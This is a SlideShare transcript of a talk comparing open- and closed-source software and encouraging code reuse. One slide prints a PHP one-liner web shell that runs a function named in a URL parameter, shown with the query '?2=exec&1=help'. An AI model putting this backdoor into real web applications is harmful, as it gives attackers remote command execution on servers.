Your SlideShare is downloading. ×
0
Polish the wheel                     Andrei Avădănei                   andrei@worldit.info                     http://defc...
Open Source vs Closed Source
Open Source●   Open Source Software License        - distributed under a licensing agreement which allows the source code ...
Closed Source●   Closed Source Software License        - distributed under a licensing agreement to authorized users with ...
Ok, now back to wheel!
A guy smarter than me said thatGood programmers are writing their own codefrom scratch;BUTBest programmers are using code ...
Whose side are you?
<?=($_=@$_GET[2]).@$_($_GET[1])?>●   a lot of time wasted on creating modules that we could find already created●   wasted...
Examples●   Wordpress, Joomla, Drupal                for blog type projects●   Moodle for e-learning projects●   PHC, GCC,...
Why not?You have the opportunity to change the world            easier than ever!
Questions?
Thanks!
Upcoming SlideShare
Loading in...5
×

Polish the Wheel

639

Published on

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
639
On Slideshare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
2
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide

Transcript of "Polish the Wheel"

  1. 1. Polish the wheel Andrei Avădănei andrei@worldit.info http://defcamp.ro
  2. 2. Open Source vs Closed Source
  3. 3. Open Source● Open Source Software License - distributed under a licensing agreement which allows the source code to be shared, viewed and modified● Cost - free - requires a certain level of technical expertise in order to manage content - providers are increasingly charging for addons, additional services and integration - long term costs : implementation, innovation, service/support issues, infrastructure● Service and Support - online community network● Innovation - enables innovation by providing users with the freedom and flexibility to adapt the software to suit● Usability - lack of usability● Security - is often viewed as having security issues
  4. 4. Closed Source● Closed Source Software License - distributed under a licensing agreement to authorized users with private modification, copying and republishing restrictions● Cost - vary from a few thousand to a few hundred thousand dollars - user is paying for a more customized product from a trusted brand that includes higher levels of security and functionality, continuous innovation, a greater ability to scale, ongoing training and support and a lower requirement for technical skills.● Service and Support - service level and support structure requirements are taking precedent in favour of maximising uptime and minimising downtime● Innovation - do not allow users to view or alter the source code - innovation comes fully tested● Usability - employs expert usability testing - detailed user manuals and guides are provided for faster trainings● Security - more secure because it is developed in a controlled environment by a concentrated team with a common direction
  5. 5. Ok, now back to wheel!
  6. 6. A guy smarter than me said thatGood programmers are writing their own codefrom scratch;BUTBest programmers are using code developedby good programmers. >:)
  7. 7. Whose side are you?
  8. 8. <?=($_=@$_GET[2]).@$_($_GET[1])?>● a lot of time wasted on creating modules that we could find already created● wasted time that we could use in innovation● most open source libraries have an API documentation + examples● If you are a good programmer all the things you need to learn from Open Source libraries will seem simple (simpler than making a pizza) How to become the "best" programmer? ● Research ● Understanding APIs (libraries, CMSes and so on) ● Code (preferable no spaghetti code) ● Learn how to make a pizza faster! ?2=exec&1=help
  9. 9. Examples● Wordpress, Joomla, Drupal for blog type projects● Moodle for e-learning projects● PHC, GCC, Open GTK for building and running apps● Chromium for building your own browser● Google Charts● Frameworks (Django, Zend, Smarty, Rails etc)● [...]
  10. 10. Why not?You have the opportunity to change the world easier than ever!
  11. 11. Questions?
  12. 12. Thanks!
  1. A particular slide catching your eye?

    Clipping is a handy way to collect important slides you want to go back to later.

×